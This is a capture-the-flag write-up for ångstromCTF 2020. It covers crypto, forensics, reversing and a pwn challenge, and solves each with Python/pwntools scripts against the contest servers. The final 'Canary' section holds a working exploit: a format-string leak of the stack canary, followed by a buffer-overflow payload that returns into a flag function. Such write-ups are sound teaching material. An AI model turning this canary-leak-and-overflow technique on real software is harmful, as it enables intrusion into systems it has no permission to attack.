I participated in ångstromCTF 2020 with my awesome team P1rates and I was able to solve 11 challenges with them. This is my writeup about some challenges I managed to solve during the competition.
Contents:
- Cryptography
- Miscellaneous
- Reverse
- Binary
Cryptography
1. Reasonably Strong Algorithm
RSA strikes again.
                This was an easy
                RSA
                challenge given the following:
              
n = 126390312099294739294606157407778835887
e = 65537
c = 13612260682947644362892911986815626931To solve this challenge you must know RSA and how it works.
                Now, we have
                n
                public modulus,
                e
                exponent and
                c
                ciphertext. I thought If I just factor
                n to
                its primes I can compute the
                φ(n)
                and find private key
                d such
                that
                d * e = 1 mod(φ(n)). I can compute
                d as
                modinverse(e, φ(n))
                using
                Euclidean Algorithm. Then calculate
                
                where
                
m is
                our flag.
              
Here is my code to do it:
#!/usr/bin/env python
def modinv(a, m) :
    a = a % m;
    for x in range(1, m) :
        if ((a * x) % m == 1) :
            return x
    return 1
    
n = 126390312099294739294606157407778835887
e = 65537
c = 13612260682947644362892911986815626931
p = 13536574980062068373
q = 9336949138571181619
phi = (p-1) * (q-1)
d = modinv(e, phi)
m = hex(pow(c,d,n))[2:-1]
print str(m).decode('hex')root@kali:~# python rsa.py 
actf{10minutes}2. Wacko Images
How to make hiding stuff a e s t h e t i c? And can you make it normal again? enc.png image-encryption.py The flag is
actf{x#xx#xx_xx#xxx}where x represents any lowercase letter and # represents any one digit number.
So, we’re given the encoded image:
And the encryption code:
from numpy import *
from PIL import Image
flag = Image.open(r"flag.png")
img = array(flag)
key = [41, 37, 23]
a, b, c = img.shape
for x in range (0, a):
    for y in range (0, b):
        pixel = img[x, y]
        for i in range(0,3):
            pixel[i] = pixel[i] * key[i] % 251
        img[x][y] = pixel
enc = Image.fromarray(img)
enc.save('enc.png')
                The weakness here is the key is given in the code and
                pixel[i] = pixel[i] * key[i] mod(251).
              
Simply, the code does the following:
- 
                  Find each pixel
                  (R, G, B)in the original image whereRGBare the Red, Green, Blue values respectively.
- 
                  Calculate
                  (R*key[0], G*key[1], B*key[2]).
                Now I should find the original pixels such that
                pixel[i] * key[i] = 1 mod(251), and this is also the modular inverse
                pixel[i] * modinverse(k[i], 251).
              
So, let’s code and get the flag:
from numpy import *
from PIL import Image
flag = Image.open(r"enc.png")
img = array(flag)
def modinv(a, m) :
    a = a % m;
    for x in range(1, m) :
        if ((a * x) % m == 1) :
            return x
    return 1
    
key = [41, 37, 23]
a, b, c = img.shape
for x in range (0, a):
    for y in range (0, b):
        pixel = img[x, y]
        for i in range(0,3):
            pixel[i] = (modinv(key[i],251)*pixel[i]) % 251
        img[x][y] = pixel
enc = Image.fromarray(img)
enc.save('flag.png')
                Give us the flag.png:
                actf{m0dd1ng_sk1llz}
              
3. Confused Streaming
I made a stream cipher!
nc crypto.2020.chall.actf.co 20601
hint: look at dream stream
The given code it seems confusing:
from __future__ import print_function
import random,os,sys,binascii
from decimal import *
try:
	input = raw_input
except:
	pass
getcontext().prec = 1000
def keystream(key):
	random.seed(int(os.environ["seed"]))
	e = random.randint(100,1000)
	while 1:
		d = random.randint(1,100)
		ret = Decimal('0.'+str(key ** e).split('.')[-1])
		for i in range(d):
			ret*=2
		yield int((ret//1)%2)
		e+=1
try:
	a = int(input("a: "))
	b = int(input("b: "))
	c = int(input("c: "))
	# remove those pesky imaginary numbers, rationals, zeroes, integers, big numbers, etc
	if b*b < 4*a*c or a==0 or b==0 or c==0 or Decimal(b*b-4*a*c).sqrt().to_integral_value()**2==b*b-4*a*c or abs(a)>1000 or abs(b)>1000 or abs(c)>1000:
		raise Exception()
	key = (Decimal(b*b-4*a*c).sqrt() - Decimal(b))/Decimal(a*2)
except:
	print("bad key")
else:
	flag = binascii.hexlify(os.environ["flag"].encode())
	flag = bin(int(flag,16))[2:].zfill(len(flag)*4)
	ret = ""
	k = keystream(key)
	for i in flag:
		ret += str(next(k)^int(i))
	print(ret)
                But here is the trick, the code wants you to enter
                a b c
                such that some condition is achieved and if you provided those
                values correctly, it gives you the flag. The condition is
              
                b*b < 4*a*c or a==0 or b==0 or c==0 or
                  Decimal(b*b-4*a*c).sqrt().to_integral_value()**2==b*b-4*a*c or
                  abs(a)>1000 or abs(b)>1000 or abs(c)>1000
              
But it checks the values that can validate the key as the comment says “remove those pesky imaginary numbers, rationals, zeroes, integers, big numbers, etc”.
And guess what this is the real solutions of the quadratic equation.
                
                
              
                So, now I can brute force the values that
                cannot achieve the condition he wanted. Note
                that he want any correct values for
                a b c.
                Here is my code to do that:
              
#!/usr/bin/env python
from pwn import *
from decimal import *
context.log_level = 'critical'
T = []
for a in (1, 100):
	for b in (1, 100):
		for c in (1, 100):
			if not (b*b < 4*a*c or a==0 or b==0 or c==0 or Decimal(b*b-4*a*c).sqrt().to_integral_value()**2==b*b-4*a*c or abs(a)>100 or abs(b)>100 or abs(c)>100):
				T.append((a,b,c))
r = remote('crypto.2020.chall.actf.co',20601)
r.sendlineafter('a', str(T[0][0]))
r.sendlineafter('b', str(T[0][1]))
r.sendlineafter('c', str(T[0][2]))
print hex(int(r.recvall()[2:],2))[2:].decode('hex')
r.close()root@kali:~# python stream.py 
actf{down_to_the_decimal}4. One Time Pad
My super secure service is available now! Heck, even with the source, I bet you won’t figure it out.
nc misc.2020.chall.actf.co 20301
One Time Pad is just known as unbreakable cryptographic technique that requires a random key as long as message being sent, but we’re the only ones who can make this it breakable by using wrong keys.
So, when I connect to the server it asks me to enter either 1 to request encrypted sample with its key or 2 to decrypt some given sample.
root@kali:~# nc misc.2020.chall.actf.co 20301
Welcome to my one time pad service!
It's so unbreakable that *if* you do manage to decrypt my text, I'll give you a flag!
You will be given the ciphertext and key for samples, and the ciphertext for when you try to decrypt. All will be given in base 64, but when you enter your answer, give it in ASCII.
Enter:
	1) Request sample
	2) Try your luck at decrypting something!
> 
                In the code the function
                otp(a, b)
                takes 2 arguments the message and the key, then iterate through
                them one by one and do simple
                xor,
                but we know that
                xor is
                the reverse of itself.
              
                After analysing the given source code I notice the deadly bug
                and that is
                random.seed(int(time.time())).
              
It seeds the random generator with the current time when the connection initiated and that’s horrible because the random numbers repeats after some periods with the same seed.
So, now let’s brute force the key and crack the unbreakable OTP.
#!/usr/bin/env python
from pwn import *
from  base64 import *
context.log_level = 'critical'
def otp(a, b):
	r = ""
	for i, j in zip(a, b):
		r += chr(ord(i) ^ ord(j))
	return r
r = remote('misc.2020.chall.actf.co', 20301)
while 1:
	r.sendlineafter('>','1')
	msg_key = r.recvline().strip().split(' ')
	r.sendlineafter('>','2')
	msg = b64decode(r.recvline().strip())
	x, k = b64decode(msg_key[0]), b64decode(msg_key[-1])
	if len(x) == len(msg):
		print '[*] Got one ...'
		res = otp(msg,k)
		r.sendlineafter('answer:',res)
		print '\t', res
		line = r.recvline().strip()
		if 'actf{' in line:
			print '[+] Found it\n\t', line
			break
		continue
	else :
		r.sendlineafter('answer:','A')
r.close()I ran the script and after awhile I got the flag.
root@kali:~# python otp.py 
[*] Got one ...
    }_r^OM`DDaKfDZXwZ{csxAgk
[*] Got one ...
    m]\\x7fqMzUrRwxWwYqu]
.
.
.
[+] Found it ...
    actf{one_time_pad_more_like_i_dont_like_crypto-1982309}Later on I noticed that the encrypted string can be of length 1 or 2 and that blows my mind after the previous solution.
So, If I can send any letter that can be encrypted using the any key of the same length it could be a solution.
#!/usr/bin/env python
from pwn import *
context.log_level = 'critical'
r = remote('misc.2020.chall.actf.co', 20301)
while 1:
	r.sendlineafter('>','1')
	r.recvline()
	r.sendlineafter('>','2')
	r.recvline()
	r.sendline('G')
	print '[*] Trying...'
	line = r.recvline().strip()
	if "actf{" in line:
		print '[+] Flag:\n', line
		break
r.close()root@kali:~# python otp.py 
[*] Trying...
[*] Trying...
.
.
.
[*] Trying...
[+] Flag:
Your answer: actf{one_time_pad_more_like_i_dont_like_crypto-1982309}One Time Pad is so bad.
- Misc
1. ws2
No ascii, not problem :) recording.pcapng
                This challenge like the first one ws1 it gives
                us a network packet capture file, so first let’s see what it
                contains using
                binwalk.
              
root@kali:~# binwalk recording.pcapng 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
3003          0xBBB           HTML document header
3328          0xD00           HTML document footer
5688          0x1638          JPEG image data, JFIF standard 1.01
111167        0x1B23F         HTML document header
111545        0x1B3B9         HTML document footer
                It contains some HTML files and that means there are some
                HTTP
                requests in the capture file and the interesting one is a
                JPEG
                image at offset
                0x1638.
              
                Let’s extract this image using
                dd
                command:
              
root@kali:~# dd if=recording.pcapng bs=1 skip=$((0x1638)) count=$((0x1b23f-0x1638)) of=file2.jpg
105479+0 records in
105479+0 records out
105479 bytes (105 kB, 103 KiB) copied, 0.509051 s, 207 kB/s
root@kali:~# file file.jpg 
file2.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 72x72, segment length 16, baseline, precision 8, 1500x1461, components 3
                The command just skip
                0x1638
                blocks and count
                0x1b23f-0x1638
                blocks to extract the image and by looking at it.
              
                It looks corrupted so let’s look at the magic bytes in hex
                editor. As we know the
                JPEG
                images starts with
                FF D8
                and ends with
                FF D9.
              
I found the first bytes it seems good nothing with them.
But when I looked at the last bytes there’re some addtional bytes in the hex dump, so let’s remove them and save the file.
                Oh! That’s not good the image still the same. Now, let’s jump
                into
                wireshark
                and see the original packets.
              
                After I filtered the packets I got 4
                HTTP
                requests and one of them is
                POST
                request contains an image. So let’s follow HTTP stream and
                extract the raw bytes.
              
                After I dumped the raw bytes from
                FF D8 FF E0
                to
                FF D9
                into a new file I got the original image.
              
                Flag:
                actf{ok_to_b0r0s-4809813}
              
2. ws3
What the… record.pcapng hint: Did I send something? Or…
                Like the previous one I ran binwalk on the capture file but this
                time I got a bunch of
                zlib
                files.
              
root@kali:~# binwalk record.pcapng 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
3664          0xE50           Zlib compressed data, default compression
3793          0xED1           Zlib compressed data, default compression
3841          0xF01           Zlib compressed data, default compression
14810         0x39DA          Zlib compressed data, default compression
14969         0x3A79          Zlib compressed data, default compression
38120         0x94E8          Zlib compressed data, default compression
38258         0x9572          Zlib compressed data, default compression
                So I decided to jumb into
                wireshark
                again and look for any
                HTTP
                packets.
              
                I noticed
                HTTP
                packet with length
                2131
                bigger than the others, so let’s look at it.
              
                I know the magic bytes for
                zlib
                file and can be one of:
              
- 
                  78 01- No Compression/low
- 
                  78 9C- Default Compression
- 
                  78 DA- Best Compression
                After looking in the raw bytes for the packet I found first
                78 9C
                and the end of the file is unknown so let’s extract it into a
                new file.
              
root@kali:~# file file.zlib 
ws3_3.zlib: zlib compressed data
                I looked again with binwalk the file contains 3 other
                zlib
                files.
              
root@kali:~# binwalk Zlib 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zlib compressed data, default compression
159           0x9F            Zlib compressed data, default compression
242           0xF2            Zlib compressed data, default compressionSo, I decided to extract each one and look at them one by one.
root@kali:~# dd if=Zlib bs=1 count=159 of=1.zlip
159+0 records in
159+0 records out
159 bytes copied, 0.0008654 s, 184 kB/s
root@kali:~# dd if=Zlib bs=1 skip=159 count=$((0xf2-0x9f)) of=2.zlip
83+0 records in
83+0 records out
83 bytes copied, 0.00072573 s, 114 kB/s
root@kali:~# dd if=Zlib bs=1 skip=242 of=3.zlip
17643+0 records in
17643+0 records out
17643 bytes (18 kB, 17 KiB) copied, 0.050157 s, 352 kB/sNow, let’s extract them:
root@kali:~# cat 3.zlip | python -c "import zlib,sys;sys.stdout.write(zlib.decompress(sys.stdin.read()))" | head -1
����JFIFHH��C   	
close failed in file object destructor:
sys.excepthook is missing
lost sys.stderr
                And I got the flag as a
                JPEG
                image at the last file.
              
                actf{git_good_git_wireshark-123323}
              
3. PSK
My friend sent my yet another mysterious recording… He told me he was inspired by PicoCTF 2019 and made his own transmissions. I’ve looked at it, and it seems to be really compact and efficient. Only 31 bps!! See if you can decode what he sent to me. It’s in actf{} format
                This one I spend some time to figure out what he want and what’s
                the record. But after searching about
                PSK I
                found It’s just an audio with amplitude and phase-modulated
                waveform that is converted to an audio frequency analog signal
                by a sound card.
              
                And guess what it can be decoded usign the PSK31 software like
                EssexPSK.
              
                After I download the software and put the mic on the headphones
                to decode the audio it gives me the flag.
                 
              
                actf{hamhamhamhamham}
              
4. Shifter
What a strange challenge… It’ll be no problem for you, of course!
nc misc.2020.chall.actf.co 20300
hint: Do you really need to calculate all those numbers?
This challenges seems interesting when I connect with the server it asks me the following:
root@kali:~# nc misc.2020.chall.actf.co 20300
Solve 50 of these epic problems in a row to prove you are a master crypto man like Aplet123!
You'll be given a number n and also a plaintext p.
Caesar shift `p` with the nth Fibonacci number.
n < 50, p is completely uppercase and alphabetic, len(p) < 50
You have 60 seconds!
--------------------
Shift AZPHUYBJHVY by n=44
: It’s just a ceaser cipher but with key as Fibonacci number, and the n he given is pretty small to calculate.
                
              
                So, let’s write small
                python
                script to do it and get the flag.
              
#!/usr/bin/env python
from pwn import *
context.log_level = 'critical'
fib_arr = [0,1]
def fib(n):
    if n<=len(fib_arr):
        return fib_arr[n-1]
    else:
        temp_fib = fib(n-1)+fib(n-2)
        fib_arr.append(temp_fib)
        return temp_fib
fib(50)
def encrypt(text,k):
    result = ""
    for i in range(len(text)):
        char = text[i]
        result += chr((ord(char) + k - 65) % 26 + 65)
    return result
r = remote('misc.2020.chall.actf.co', 20300)
r.recvuntil('--------------------')
r.recvline()
for _ in range(50):
    s = r.recvline().strip().split(' ')
    m, k = s[1], fib_arr[int(s[-1][2:])]
    print '\r[+] Level', (_+1)
    res = encrypt(m,k)
    r.sendlineafter(':',res)
print r.recvall().strip()And finally I got it.
root@kali:~# python shifter.py 
[+] Level 1
[+] Level 2
.
.
.
[+] Level 49
[+] Level 50
actf{h0p3_y0u_us3d_th3_f0rmu14-1985098}Reverse
1. Windows of Opportunity
Clam’s a windows elitist and he just can’t stand seeing all of these linux challenges! So, he decided to step in and create his own rev challenge with the “superior” operating system.
hint: You can probably solve it just by looking at the disassembly.
The challenge give us the binary and let’s see the file:
root@kali:~# file windows_of_opportunity.exe 
windows_of_opportunity.exe: PE32+ executable (console) x86-64, for MS Windows
                It’s
                PE32+
                windows executable, but when I look at the hint it sounds
                interesting so let’s do what he says and disassemble it using
                strings.
              
root@kali:~# strings windows_of_opportunity.exe | grep -aoE "actf{.*}"
actf{ok4y_m4yb3_linux_is_s7ill_b3tt3r}
                Gotcha
                 
              
2. Taking Off
So you started revving up, but is it enough to take off? Find the problem in
/problems/2020/taking_off/in the shell server.
This challenge seems nice it gives us the binary:
root@kali:~# file taking_off 
taking_off: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fc4deaf2c2da6fdaf4cb7bc1e83d4f1372720832, not stripped
                Oh! That looks interesting it’s a
                ELF
                64-bit linux file dynamically linked but not stripped its
                symbols. I ran strings on it, but nothing so let’s run it:
              
root@kali:~# ./taking_off 
So you figured out how to provide input and command line arguments.
But can you figure out what input to provide?
Make sure you have the correct amount of command line arguments!
                It asks for some arguments I tried enter some, but nothing. So,
                let’s jump into
                IDA
                and look what it does.
              
                I found some interesting functions
                main,
                print_flag,
                is_valid. Let’s start with
                main
                and see what it contains:
              
                As we see at line
                17 it
                accepts 4 arguments and convert the first 3
                v4
                v5
                v6
                into integers, then it checks for each value is it invalid or
                not with
                is_invalid
                function:
              
                It just checks for given integer
                a1 if
                less than 0 or greater than 9. And after that at line
                26
                compute the following equation
                100*v5 + 10*v4 + v6
                if it’s equal to
                932.
                It also checks for the 4th argument to be
                chicken. If all the above checks fail it prints
                Don't try to guess...
              
                So, now we’re really smart to find that
                v5 = 9,
                v4 = 3
                and
                v6 = 2
                to validate the equation he wanted let’s try it now with our
                correct arguments.
              
root@kali:~# ./taking_off 3 9 2 chicken
So you figured out how to provide input and command line arguments.
But can you figure out what input to provide?
Well, you found the arguments, but what's the password?
                Now, It asks for a password. So, let’s jump into the remaining
                part of the
                main:
              
                As we see above at line
                34 it
                asks to enter the password and store it in
                s.
                From line
                39 to
                51 do
                the following:
              
- Iterate through the entered password.
- 
                  Check for each character if its value
                  xor 0x2ato be equal some value stored indesiredvariable.
- 
                  If all values correctly checked it gives us the flag with
                  print_flagfunctions.
                Let’s look what the
                desired
                variable stored in data section:
              
                The value
                0Ah is
                just a linefeed
                \n,
                but we know that the decompilation process is optimized so it
                can be a
                space
                in the password.
              
As far as we got here now, we have all we need to reverse the binary and get our flag.
Now, let’s brute force the password and give it to the server to retrieve the flag:
#!/usr/bin/env python
from string import ascii_letters
key = 'ZFOKYO\nMC\\O\nLFKM*'
passw = ""
for i in range(len(key)):
    for c in ' ' + ascii_letters:
        if chr(ord(c) ^ 42) == key[i]:
            passw += c
            break
print passwroot@kali:~# python ape.py 
please give flagteam6525@actf:/problems/2020/taking_off$ ./taking_off 3 9 2 chicken
So you figured out how to provide input and command line arguments.
But can you figure out what input to provide?
Well, you found the arguments, but what's the password?
please give flag
Good job! You're ready to move on to bigger and badder rev!
actf{th3y_gr0w_up_s0_f4st}Binary (Pwn)
1. Canary
A tear rolled down her face like a tractor. “David,” she said tearfully, “I don’t want to be a farmer no more.” —Anonymous Can you call the flag function in this program (source)? Try it out on the shell server at
/problems/2020/canaryor by connecting withnc shell.actf.co 20701.
hint: That printf call looks dangerous too…
This pwnable challenges from its name looks cool it seems to be about stack canaries and stuff like low level binary and stack protection.
                It gives us the binary a
                64-bit
                linux file and the source code:
              
root@kali:~# file canary
canary: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4c9450f3e2622ff6b7fa8fd33f728edfda901b97, not stripped
                After analysing the source code I found 2 possible potential
                vulnerabilities in the
                greet
                function the first one is a buffer overflow at lines
                39,
                44 and
                the second bug is memory leak (format string) at line
                40.
              
Let’s check the binary:
                The binary enabled
                RELRO,
                Stack Canary, and
                NX and
                we know the challenge talk about canary. So, let’s run the
                program in
                gdb
                and see what it does:
              
                The first input I entered a bunch of
                %p to
                see how it prints the results, and it prints some possible
                values from the stack.
              
                The second input I entered some
                A and
                it gives me stack smashing detected flag.
              
And by that I knew the random canary value prevents the program from being overflowed or any modification for registers values and if it does the program exits immeadiately.
So, let’s brute force the position of the canary value in the stack.
#!/usr/bin/env python
from pwn import *
context.log_level = 'critical'
def canary_brute():
    for i in range(28):
        io = e.process(level="error")
        io.recvuntil('name?')
        io.sendline('AAAA %{}$lx'.format(i))
        s = io.recvline()
        print("{} - {}" .format(i, s.strip()))
        io.close()
canary_brute()root@kali:~# python canary.py 
0 - Nice to meet you, AAAA %0$lx!
1 - Nice to meet you, AAAA 7fff704e6d20!
2 - Nice to meet you, AAAA a!
3 - Nice to meet you, AAAA fffffffffffffff4!
4 - Nice to meet you, AAAA 7f795c2b0500!
5 - Nice to meet you, AAAA 12!
6 - Nice to meet you, AAAA 2436252041414141!
7 - Nice to meet you, AAAA 7f000a21786c!
...
12 - Nice to meet you, AAAA 0!
13 - Nice to meet you, AAAA 7ffe85653b00!
14 - Nice to meet you, AAAA 4006a0!
15 - Nice to meet you, AAAA 7fff6069f380!
16 - Nice to meet you, AAAA 0!
17 - Nice to meet you, AAAA 65d74053b88f5300!
18 - Nice to meet you, AAAA 7fff86b86a50!
19 - Nice to meet you, AAAA 4009c9!
                I know that the canary value must end with
                \x00
                byte and it looks the same at position
                17
                every time I run the script.
              
...
Hi! What's your name? %17$p
Nice to meet you, 0x5f254cc8e0605300!
...
                We got the the canary let’s calculate the offset of the buffer
                to overflow the binary. I created a cyclic pattern using
                De Bruijn
                sequence, add breakpoint at
                0x400945
                and ran the program.
              
                And we have
                RAX: 0x4841413241416341
                and the offset we need is
                56.
              
gdb-peda$ pattern offset 0x4841413241416341
5206514328315978561 found at offset: 56
                Now, we construct
                payload = buffer (56 bytes) + canary (8 bytes) + RBP (8
                  bytes) + flag offset.
              
#!/usr/bin/env python
from pwn import *
context.log_level = 'critical'
e = ELF("./canary")
get_flag = e.sym["flag"] # get the offset of the flag() function
io = remote('shell.actf.co', 20701)
io.recvuntil('name?')
io.sendline('%17$lx')
canary = int(io.recvline().strip().split(' ')[-1][:-1],16)
log.success('Canary: %s' % hex(canary))
log.success('Flag func: %s' % hex(get_flag))
io.recvuntil('me?')
payload = ''
payload += 'A'*56
payload += p64(canary)
payload += 'B'*8 		# fill out rbp register
payload += p64(get_flag)
log.info('Payload: %s\n' % payload)
io.sendline(payload)
print io.recvall().strip()
io.close()
                I ran the script and got the flag
                 
              
                actf{youre_a_canary_killer_>:(}
              
 
                 
                 
                 
                 
                 
                 
                 
                 
                 
                 
                 
                 
                 
                 
                 
                 
                 
                 
                 
                 
                 
                